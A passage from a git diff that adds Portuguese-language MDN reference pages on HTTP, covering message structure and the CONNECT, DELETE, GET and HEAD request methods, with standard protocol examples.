controlá-los.</dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Cookies">Cookies HTTP</a></dt> + <dd>O funcionamento dos cookies é definido pela <a class="external" href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. Ao receber uma requisição HTTP, o servidor pode enviar um cabeçalho <code>Set-Cookie</code> com a resposta. Depois, o cliente retorna o valor do cookie a cada requisição ao mesmo servidor na forma de um cabeçalho <code>Cookie</code> HTTP. O cookie também pode ser configurado para expirar em um determinado tempo ou permanecer restrito a um domínio ou endereço específicos.</dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolução do HTTP</a></dt> + <dd>Uma breve descrição das mudanças que ocorreram no HTTP em versões mais antigas para o moderno HTTP/2 em diante.</dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Messages">Mensagens HTTP</a></dt> + <dd>Descreve os tipos e a estrutura das diferentes mensagens do HTTP/1.x e HTTP/2.</dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Session">Uma sessão típica em HTTP</a></dt> + <dd><span id="result_box" lang="pt"><span>Mostra e explica o fluxo de uma sessão HTTP normal.</span></span></dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Gerenciamento de conexões em HTTP/1.x</a></dt> + <dd>Descreve os três modelos de conexão disponíveis no HTTP/1.x, seus pontos fortes e fracos.</dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS">Controle de Acesso HTTP (CORS)</a></dt> + <dd><strong>As requisições CORS</strong> são requisições HTTP de recursos de domínios diferentes do domínio que está fazendo a requisição. um exemplo é um site A (SiteA.com) realizando uma requisição de uma imagem por meio de um elemento <em>img </em>para um site B (SiteB.com/img.png). Hoje em dia encontramos o CORS em grande maioria das páginas webs, carregando scripts, imagens, folhas de estilos, etc.</dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Controlling_DNS_prefetching">Controlando a pré-busca de DNS</a></dt> + <dd>O Firefox e outros navegadores atuais utilizam a <strong>pré-busca de</strong> <strong>DNS</strong>, ou seja, o navegador faz a busca do nome do domínio nos links contidos numa página antes que o recurso seja requisitado, como por exemplo imagens, scripts e folhas de estilo. Isto tudo ocorre em segundo plano, para que quando o recurso necessite ser carregado, o endereço DNS já esteja resolvido. Isto diminui a latência quando, por exemplo, um usuário clica em um link.</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="Referências">Referências</h2> + +<p>Navegue por uma detalhada documentação de referências em HTTP.</p> + +<dl> + <dt><a href="/pt-BR/docs/Web/HTTP/Headers">Cabeçalhos HTTP</a></dt> + <dd>As mensagens de cabeçalho HTTP são utilizadas para realizar a descrição de algum recurso ou comportamento do cliente ou servidor. Propriedades customizadas nos cabeçalhos utilizam o prefixo 'X-' ; Outras no <a href="/pt-BR/docs/">registro IANA</a>, cujo conteúdo original foi definido na <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA também mantém o <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registro de novas propostas para mensagens de cabeçalhos HTTP</a>.</dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Methods">Métodos de requisição HTTP</a></dt> + <dd>As mais diferentes requisições podem ser utilizadas pelos métodos de requisições HTTP: {{HTTPMethod("GET")}} e {{HTTPMethod("POST")}}, mas também algumas requisições menos comuns pelos métodos {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}} ou {{HTTPMethod("TRACE")}}.</dd> + <dt><a href="/pt-BR/docs/Web/HTTP/Response_codes">Respostas de códigos de status em HTTP</a></dt> + <dd>Os códigos de status do HTTP indicam quando uma requisição foi completada. Códigos de status são agrupados em cinco classes: Informações, respostas, respostas de sucesso, redirecionamentos, erros de cliente e erros de servidor.</dd> +</dl> + +<h2 id="Ferramentas_recursos">Ferramentas & recursos</h2> + +<p>Ferramentas que irão lhe ajudar a testar e debugar as suas requisições HTTP.</p> + +<dl> + <dt><a href="/pt-BR/docs/Tools">Ferramentas de desenvolvedores Firefox</a></dt> + <dd><a href="/pt-BR/docs/Tools/Network_Monitor">Network monitor</a></dd> + <dt><a href="https://redbot.org/">RedBot</a></dt> + <dd>Uma ferramenta para visualizar seus Headers relacionados em cache.</dd> + <dt><a href="http://www.html5rocks.com/ru/tutorials/internals/howbrowserswork/">Como os navegadores funcionam</a></dt> + <dd>Um artigo bem abrangente sobre a parte interna dos navegadores e os fluxos de requisições via protocolo HTTP. Um artigo que todos os desenvolvedores web, com certeza, deveriam ler.</dd> + <dt></dt> + <dt></dt> + <dt></dt> +</dl> +</div> +</div> diff --git a/files/pt-br/web/http/mensagens/index.html b/files/pt-br/web/http/mensagens/index.html new file mode 100644 index 0000000000..895c58d2e8 --- /dev/null +++ b/files/pt-br/web/http/mensagens/index.html @@ -0,0 +1,146 @@ +--- +title: Mensagens HTTP +slug: Web/HTTP/Mensagens +tags: + - Guía + - HTTP + - Protocolos +translation_of: Web/HTTP/Messages +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">Dados são trocados entre servidor e cliente por meio de mensagens HTTP. Há dois tipos de mensagens: <em>requisições </em>(requests) enviadas pelo cliente para disparar uma ação no servidor, e <em>respostas</em> (responses), a réplica do servidor.</p> + +<p>Mensagens HTTP são compostas de informação textual codificada em ASCII, e se espalham por multiplas linhas. Em HTTP/1.1, e versões anteriores do protocolo, estas mensagens eram abertamente enviadas através da conexão. Em HTTP/2, a mensagem antes legível por humanos é agora dividida em quadros HTTP, resultando em otimização e melhora de desempenho.</p> + +<p>Desenvolvedores Web, ou webmasters, raramente lidam com essas mensagens textuais diretamente: um programa, um navegador, um proxy, ou um servidor Web, executam essa ação. Eles proveem mensagens HTTP por meio de arquivos de configuração (para proxys ou servidores), APIs (para navegadores) ou outras interfaces.</p> + +<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p> + +<p>O mecanismo de enquadramento binário foi projetado de modo a não requerer qualquer alteração das APIs ou arquivos de configuração aplicados: ele é transparente para o usuário.</p> + +<p>Requisições e respostas HTTP compartilham estrutura similar e são compostas de:</p> + +<ol> + <li>Uma <em>linha inicial</em> (<em>start-line)</em> que descreve as requisições a serem implementadas, ou seu status de sucesso ou falha. Esta linha inicial é sempre uma única.</li> + <li>Um conjunto opcional de cabeçalhos HTTP especificando a requisição, ou descrevendo o corpo incluso na mensagem.</li> + <li>Uma linha em branco (<em>empty line</em>) indicando que toda meta-informação para a requisição já foi enviada.</li> + <li>Um <em>corpo</em> (<em>body</em>) contendo dados associados à requisição (como o conteúdo de um formulário HTML), ou o documento associado à resposta. A presença do corpo e seu tamanho são especificados pela linha inicial e os cabeçalhos HTTP.</li> +</ol> + +<p>A linha inicial e os cabeçalhos HTTP da mensagem HTTP são conjuntamente chamados de <em>cabeça </em>(<em>head</em>) da requisição, enquanto o que ela carrega, a sua carga, é conhecida como corpo.</p> + +<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p> + +<h2 id="Requisições_HTTP">Requisições HTTP</h2> + +<h3 id="Linha_inicial">Linha inicial</h3> + +<p>Requisições HTTP são mensagens enviadas pelo cliente para iniciar uma ação no servidor. Suas linhas iniciais contêm três elementos:</p> + +<ol> + <li>Um <em><a href="/en-US/docs/Web/HTTP/Methods">método HTTP</a></em>, um verbo (como {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} ou {{HTTPMethod("POST")}}) ou um nome (como {{HTTPMethod("HEAD")}} ou {{HTTPMethod("OPTIONS")}}), que descrevem a ação a ser executada. Por exemplo, <code>GET</code> indica que um recurso deve ser obtido ou <code>POST</code> significa que dados são inseridos no servidor (criando ou modificando um recurso, ou gerando um documento temporário para mandar de volta).</li> + <li>O <em>alvo da requisição</em>, normalmente um {{glossary("URL")}}, ou o caminho absoluto do protocolo, porta e domínio são em geral caracterizados pelo contexto da requisição. O formato deste alvo varia conforme o método HTTP. Pode ser + <ul> + <li>Um caminho absoluto, seguido de um <code>'?'</code> e o texto da consulta. Esta é a forma mais comum, conhecida como a <em>forma original</em>, e é usada com os métodos <code>GET</code>, <code>POST</code>, <code>HEAD</code>, e <code>OPTIONS</code>.<br> + <code>POST / HTTP/1.1<br> + GET /background.png HTTP/1.0<br> + HEAD /test.html?query=alibaba HTTP/1.1<br> + OPTIONS /anypage.html HTTP/1.0</code></li> + <li>Uma URL completa, conhecida como a <em>forma absoluta</em>, usada principalmente com <code>GET</code> quando conectado a um proxy.<br> + <code>GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1</code></li> + <li>O componente autoridade de um URL, que consiste no nome do domínio e opcionalmente uma porta (prefixada por <code>':'</code>), chamada de <em>forma autoridade</em>. Só usada com <code>CONNECT</code> ao estabelecer um túnel HTTP.<br> + <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li> + <li>A <em>forma asterisco</em>, um simples asterisco (<code>'*'</code>), usada com <code>OPTIONS</code>. Representa o servidor como um todo.<br> + <code>OPTIONS * HTTP/1.1</code></li> + </ul> + </li> + <li>A <em>versão HTTP</em>, que define a estrutura do restante da mensagem, atuando como um indicador da versão esperada para uso na resposta.</li> +</ol> + +<h3 id="Cabeçalhos">Cabeçalhos</h3> + +<p><a href="/en-US/docs/Web/HTTP/Headers">Cabeçalhos HTTP</a> de uma requisição seguem a mesma estrutura básica de um cabeçalho HTTP: uma cadeia de caracteres insensível à caixa seguida de dois pontos (<code>':'</code>) e um valor cuja estrutura depende do cabeçalho. O cabeçalho inteiro, incluindo o valor, consiste em uma única linha, que pode ser bem grande.</p> + +<p>Há numerosos cabeçalhos de requisição disponíveis. Eles podem ser divididos em vários grupos:</p> + +<ul> + <li><em>Cabeçalhos gerais</em>, como {{HTTPHeader("Via")}}, se aplicam à mensagem como um todo.</li> + <li><em>Cabeçalhos de requisição</em>, como {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}, modificam a requisição, especificando-a mais (como {{HTTPHeader("Accept-Language")}}), dando-a contexto (como {{HTTPHeader("Referer")}}), ou restringindo-a condicionalmente (como {{HTTPHeader("If-None")}}).</li> + <li><em>Cabeçalhos de entidade</em>, como {{HTTPHeader("Content-Length")}} que se aplicam ao corpo da mensagem. Obviamente este cabeçalho não será transmitido se não houver corpo na requisição.</li> +</ul> + +<p><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></p> + +<h3 id="Corpo">Corpo</h3> + +<p>A parte final da requisição é o corpo. Nem todas as requisições tem um: as que pegam recursos, como <code>GET</code>, <code>HEAD</code>, DELETE, ou OPTIONS, usualmente não precisam de um. Algumas requisições enviam dados ao servidor a fim de atualizá-lo: é o caso frequente de requisições <code>POST</code> (contendo dados de formulário HTML).</p> + +<p>Corpos podem ser divididos, a grosso modo, em duas categorias:</p> + +<ul> + <li>Corpos de recurso-simples, consistindo em um único arquivo, definido pelos dois cabeçalhos: {{HTTPHeader("Content-Type")}} e {{HTTPHeader("Content-Length")}}.</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Corpos de recurso-múltiplo</a>, consistindo em um corpo de múltiplas partes, cada uma contendo uma porção diferente de informação. Este é tipicamente associado à <a href="/en-US/docs/Web/Guide/HTML/Forms">Formulários HTML</a>.</li> +</ul> + +<h2 id="Respostas_HTTP">Respostas HTTP</h2> + +<h3 id="Linha_de_status">Linha de status</h3> + +<p>A linha inicial de uma resposta HTTP, chamada de <em>linha de status</em>, contém a seguinte informação:</p> + +<ol> + <li>A versão do <em>protocolo</em>, normalmente <code>HTTP/1.1</code>.</li> + <li>Um <em>código de status</em>, indicando o sucesso ou falha da requisição. Códigos de status comuns são {{HTTPStatus("200")}}, {{HTTPStatus("404")}}, ou {{HTTPStatus("302")}}</li> + <li>Um texto de status. Uma descrição textual breve, puramente informativa, do código de status a fim de auxiliar o entendimento da mensagem HTTP por humanos.</li> +</ol> + +<p>Uma linha de status típica se parece com: <code>HTTP/1.1 404 Not Found.</code></p> + +<h3 id="Cabeçalhos_2">Cabeçalhos</h3> + +<p><a href="/en-US/docs/Web/HTTP/Headers">Cabeçalhos HTTP</a> para respostas seguem a mesma estrutura de qualquer outro cabeçalho: uma cadeia de caracteres insensível à caixa seguida de dois pontos (<code>':'</code>) e um valor cuja estrutura depende do tipo de cabeçalho. O cabeçalho inteiro, incluindo o valor, consiste em uma única linha.</p> + +<p>Há numerosos cabeçalhos de resposta disponíveis. Eles podem ser divididos em vários grupos:</p> + +<ul> + <li><em>Cabeçalhos gerais</em>, como {{HTTPHeader("Via")}}, aplicam-se à toda mensagem.</li> + <li><em>Cabeçalhos de resposta</em>, como {{HTTPHeader("Vary")}} e {{HTTPHeader("Accept-Ranges")}}, dão informação adicional sobre o servidor, que não cabe na linha de status.</li> + <li><em>Cabeçalhos de entidade</em>, como {{HTTPHeader("Content-Length")}}, aplicam-se ao corpo da resposta. Obviamente este cabeçalho não será transmitido se não houver corpo na resposta.</li> +</ul> + +<p><img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p> + +<h3 id="Corpo_2">Corpo</h3> + +<p>A última parte de uma resposta é o corpo. Nem toda resposta tem um: aquelas com código de status {{HTTPStatus("201")}} ou {{HTTPStatus("204")}} normalmente não tem.</p> + +<p>Corpos podem ser divididos, a grosso modo, em três categorias:</p> + +<ul> + <li>Corpos de recurso simples que consistem em um único arquivo de tamanho conhecido, definido pelos dois cabeçalhos: {{HTTPHeader("Content-Type")}} e {{HTTPHeader("Content-Length")}}.</li> + <li>Corpos de recurso simples que consistem em um único arquivo de tamanho desconhecido, codificado aos pedaços com {{HTTPHeader("Transfer-Encoding")}} ajustado para <code>chunked</code>.</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Corpos de recurso múltiplo</a>, que consiste em um corpo com múltiplas partes, cada uma contendo diferentes seções de informação. Estes são relativamente raros.</li> +</ul> + +<h2 id="Quadros_HTTP2">Quadros HTTP/2</h2> + +<p>Mensagens HTTP/1.x têm algumas desvantagens quanto ao desempenho:</p> + +<ul> + <li>Os cabeçalhos, ao contrário dos corpos, não são compactados.</li> + <li>Cabeçalhos com frequência são similares entre uma mensagem e a seguinte, ainda assim são repetidos entre conexões.</li> + <li>Nenhuma multiplexação pode ser feita. É necessário abrir várias conexões no mesmo servidor: e conexões TCP quentes são mais eficientes que frias.</li> +</ul> + +<p>HTTP/2 introduz um passo extra: ele divide mensagens HTTP/1.x em quadros que são embutidos em um fluxo. Quadros de dados e de cabeçalho são separados, isto permite a compressão do cabeçalho. Muitos fluxos podem ser conjugados, um processo chamado de multiplexação, permitindo mais eficiência nas conexões TCP subjacentes.</p> + +<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">Connection</code></pre> + +<p>Quadros HTTP agora são transparentes aos desenvolvedores web. Isso é um passo adicional no HTTP/2, entre mensagens HTTP/1.1 e o protocolo de transporte subjacente. Nenhuma mudança é necessária nas API usadas pelo desenvolvedor web para utilizar quadros; quando disponível tanto no navegador quanto no servidor, HTTP/2 é ativado e usado.</p> + +<h2 id="Conclusão">Conclusão</h2> + +<p>Mensagens HTTP são a chave ao usar HTTP; sua estrutura é simples e elas são altamente extensíveis. O mecanismo de enquadramento do HTTP/2 adiciona uma nova camada intermediária entre a sintaxe HTTP/1.x e o protocolo de transporte subjacente, sem modificá-lo fundamentalmente: construído sobre mecanismos provados.</p> diff --git a/files/pt-br/web/http/methods/connect/index.html b/files/pt-br/web/http/methods/connect/index.html new file mode 100644 index 0000000000..6403e419c8 --- /dev/null +++ b/files/pt-br/web/http/methods/connect/index.html @@ -0,0 +1,86 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +tags: + - HTTP + - Método de requisição + - Referencia +translation_of: Web/HTTP/Methods/CONNECT +--- +<div>{{HTTPSidebar}}</div> + +<p>O <strong>médoto HTTP <code>CONNECT</code> </strong>começa a comunicação bidirecional com o recurso solicitado. Ele pode ser usado para abrir um túnel.</p> + +<p>Por exemplo, o método <code>CONNECT</code> pode ser utilizado para acessar websites que usam {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). O cliente solicita a um servidor proxy HTTP que tunelize a conexão TCP para o destino desejado. O servidor então procede para fazer a conexão em nome do cliente. Uma vez que a conexão foi estabelecida pelo servidor, o servidor Proxy continua a proxy do fluxo TCP para e do cliente.</p> + +<p><code>CONNECT</code> é um método hop-by-hop.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Requisição tem corpo</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">Resposta bem sucedida tem corpo</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Seguro")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheável")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">Permitido em formulários HTML</th> + <td>Não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">CONNECT www.exemplo.com:443 HTTP/1.1 +</pre> + +<h2 id="Exemplo">Exemplo</h2> + +<p>Alguns servidores de proxy podem precisar de autoridade para criar um túnel. Veja mais no header {{HTTPHeader("Proxy-Authorization")}}</p> + +<pre class="line-numbers language-html">CONNECT server.exemplo.com:80 HTTP/1.1 +Host: server.exemplo.com:80 +Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semântica e conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_browsers.">Compatibilidade de browsers.</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.CONNECT")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{Glossary("Servidor proxy")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> +</ul> diff --git a/files/pt-br/web/http/methods/delete/index.html b/files/pt-br/web/http/methods/delete/index.html new file mode 100644 index 0000000000..6ec5b67c44 --- /dev/null +++ b/files/pt-br/web/http/methods/delete/index.html @@ -0,0 +1,99 @@ +--- +title: DELETE +slug: Web/HTTP/Methods/DELETE +tags: + - HTTP + - Método HTTP + - Método de requisição + - Referencia +translation_of: Web/HTTP/Methods/DELETE +--- +<div>{{HTTPSidebar}}</div> + +<div>O <strong>método de requisição HTTP DELETE</strong> remove o recurso especificado.</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Requisição tem corpo</th> + <td>Talvez</td> + </tr> + <tr> + <th scope="row">A resposta bem sucedida tem corpo</th> + <td>Talvez</td> + </tr> + <tr> + <th scope="row">{{Glossary("Seguro")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheável")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">Aceito nos <a href="/en-US/docs/Web/Guide/HTML/Forms">formulários HTML</a></th> + <td>Não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">DELETE /arquivo.html HTTP/1.1 +</pre> + +<h2 id="Exemplo">Exemplo</h2> + +<h3 id="Requisição">Requisição</h3> + +<pre class="notranslate">DELETE /arquivo.html HTTP/1.1</pre> + +<h3 id="Respostas">Respostas</h3> + +<p>Se um método <code>DELETE</code> for aplicado com sucesso, há muitos códigos de status de resposta possíveis:</p> + +<ul> + <li> Um código de status {{HTTPStatus("202")}} (<code>Accepted</code>) se a ação provavelmente teve sucesso, porém ainda não foi realizada.</li> + <li>Um código de status {{HTTPStatus("204")}} (<code>No Content</code>) se a ação foi realizada e nenhuma outra informação deve ser fornecida.</li> + <li>Um código de status {{HTTPStatus("200")}} (<code>OK</code>) se a ação foi realizada e a mensagem de resposta inclui uma representação descrevendo o status.</li> +</ul> + +<pre class="notranslate">HTTP/1.1 200 OK +Date: Wed, 21 Oct 2015 07:28:00 GMT + +<html> + <body> + <h1>Arquivo removido.</h1> + </body> +</html></pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "DELETE", "4.3.5")}}</td> + <td>Protocolo de Transferência de Hipertexto (HTTP/1.1): Semântica e conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_browsers">Compatibilidade de browsers</h2> + +<p class="hidden">A tabela de compatibilidade nesta página foi gerada de dados estruturados. Se você gostaria de contribuir com os dados, por favor, confira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um pull request.</p> + +<p>{{Compat("http.methods.DELETE")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li> +</ul> diff --git a/files/pt-br/web/http/methods/get/index.html b/files/pt-br/web/http/methods/get/index.html new file mode 100644 index 0000000000..e3e6e63796 --- /dev/null +++ b/files/pt-br/web/http/methods/get/index.html @@ -0,0 +1,78 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +tags: + - HTTP + - Método GET + - Método Request + - Referencia +translation_of: Web/HTTP/Methods/GET +--- +<div>{{HTTPSidebar}}</div> + +<div>O <strong>método HTTP GET</strong> solicita uma representação do recurso especificado. Solicitações usando GET só devem recuperar dados.</div> + +<div> </div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Requisição tem corpo</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">Resposta bem-sucedida tem corpo</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row"><a href="https://developer.mozilla.org/pt-BR/docs/Glossary/Safe">Seguro</a></th> + <td>Sim</td> + </tr> + <tr> + <th scope="row"><a href="https://developer.mozilla.org/pt-BR/docs/Glossary/Idempotent">Idempotente</a></th> + <td>Sim</td> + </tr> + <tr> + <th scope="row"><a href="https://developer.mozilla.org/pt-BR/docs/Glossary/Cacheable">Cacheável</a></th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">Permitido em formulários HTML</th> + <td>SIm</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">GET /index.html +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "GET", "4.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, consulte https://github.com/mdn/browser-compat-data e envie-nos um <em>pull request</em>.</p> + +<p>{{Compat("http.methods.GET")}}</p> + +<p> </p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/pt-br/web/http/methods/head/index.html b/files/pt-br/web/http/methods/head/index.html new file mode 100644 index 0000000000..8d3535e0b1 --- /dev/null +++ b/files/pt-br/web/http/methods/head/index.html @@ -0,0 +1,78 @@ +--- +title: HEAD +slug: Web/HTTP/Methods/HEAD +tags: + - Método de solicitação + - Referencia + - requisição + - solicitação +translation_of: Web/HTTP/Methods/HEAD +--- +<div>{{HTTPSidebar}}</div> + +<p>O <strong>método HTTP <code>HEAD</code></strong> solicita os cabeçalhos retornados de um recurso específico que foi requisitado por um método HTTP {{HTTPMethod("GET")}}. Tal solicitação pode ser feita antes de baixar um grande recurso para economizar largura de banda, por exemplo.</p> + +<p>Uma resposta para um método <code>HEAD</code> não deve ter um corpo. Se tiver, deve ser ignorado. Mesmo assim, {{glossary("Entity header", "entity headers")}} (cabeçalhos de entidade) descrevendo o conteúdo do corpo (como {{HTTPHeader("Content-Length")}}) podem ser incluidos na resposta. Eles não se relacionam com o corpo da resposta <code>HEAD</code>, que deve estar vazio, e sim com o corpo de solicitação relacionado, usando o método {{HTTPMethod("GET")}} que teria retornado como resposta.</p> + +<p>Se a resposta de uma solicitação <code>HEAD</code> mostrar que um recurso armazenado em cache após uma requisição {{HTTPMethod("GET")}} está desatualizado, o cache é invalidado, mesmo se nenhuma solicitação <code>GET</code> tiver sido feita.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Solicitação tem um corpo</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">A resposta bem sucedida tem um corpo</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">Permitido em <a href="/pt-BR/docs/Web/Guide/HTML/Forms">formulário HTML</a></th> + <td>Não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">HEAD /index.html +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "HEAD", "4.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semântica e Conteúdo</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_navegadores">Compatibilidade entre navegadores</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada através de dados estruturados. Se você quiser contribuir com dados, pedimos que acesse <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pull request.</p> + +<p>{{Compat("http.methods.HEAD")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPMethod("GET")}}</li> +</ul> diff --git a/files/pt-br/web/http/methods/index.html b/files/pt-br/web/http/methods/index.html new file mode 100644 index 0000000000..d97854af3f --- /dev/null +++ b/files/pt-br/web/http/methods/index.html @@ -0,0 +1,87 @@ +--- +title: Métodos de requisição HTTP +slug: Web/HTTP/Methods +tags: + - HTTP + - Métodos + - Verbos +translation_of: Web/HTTP/Methods +--- +<div> +<div> +<dl> +</dl> +</div> + +<blockquote> +<p><em>Nota: O conteúdo original publicado em inglês no Mozilla Developer Network utiliza o termo "resource", mantido na tradução, que refere-se a qualquer destino válido ao executar uma conexão usando o protocolo HTTP. Na língua portuguesa, ao falar sobre requisições, o termo é pouco usado com essa finalidade ou contexto.</em></p> +</blockquote> + +<dl> +</dl> + +<p>{{HTTPSidebar}}</p> + +<p>O protocolo HTTP define um conjunto de <strong>métodos de requisição</strong> responsáveis por indicar a ação a ser executada para um dado recurso. Embora esses métodos possam ser descritos como substantivos, eles também são comumente referenciados como <strong><em>HTTP Verbs (Verbos HTTP)</em></strong>.<strong><em> </em></strong>Cada um deles implementa uma semântica diferente, mas alguns recursos são compartilhados por um grupo deles, como por exemplo, qualquer método de requisição pode ser do tipo <span style="line-height: 1.5;">{{glossary("safe")}}, {{glossary("idempotent")}} ou {{glossary("cacheable")}}.</span></p> +</div> + +<dl> + <dt><code><a href="/pt-BR/docs/Web/HTTP/Methods/GET">GET</a></code></dt> + <dd>O método <code>GET</code> solicita a representação de um recurso específico. Requisições utilizando o método <code>GET</code> devem retornar apenas dados.</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt> + <dd> O método <code>HEAD</code> solicita uma resposta de forma idêntica ao método <code>GET</code>, porém sem conter o corpo da resposta.</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/POST">POST</a></code></dt> + <dd>O método <code>POST</code> é utilizado para submeter uma entidade a um recurso específico, frequentemente causando uma mudança no estado do recurso ou efeitos colaterais no servidor.</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt> + <dd> + <p>O método <code>PUT</code> substitui todas as atuais representações do recurso de destino pela carga de dados da requisição.</p> + </dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt> + <dd>O método <code>DELETE</code> remove um recurso específico.</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt> + <dd> + <p>O método <code>CONNECT</code> estabelece um túnel para o servidor identificado pelo recurso de destino.</p> + </dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt> + <dd>O método <code>OPTIONS</code> é usado para descrever as 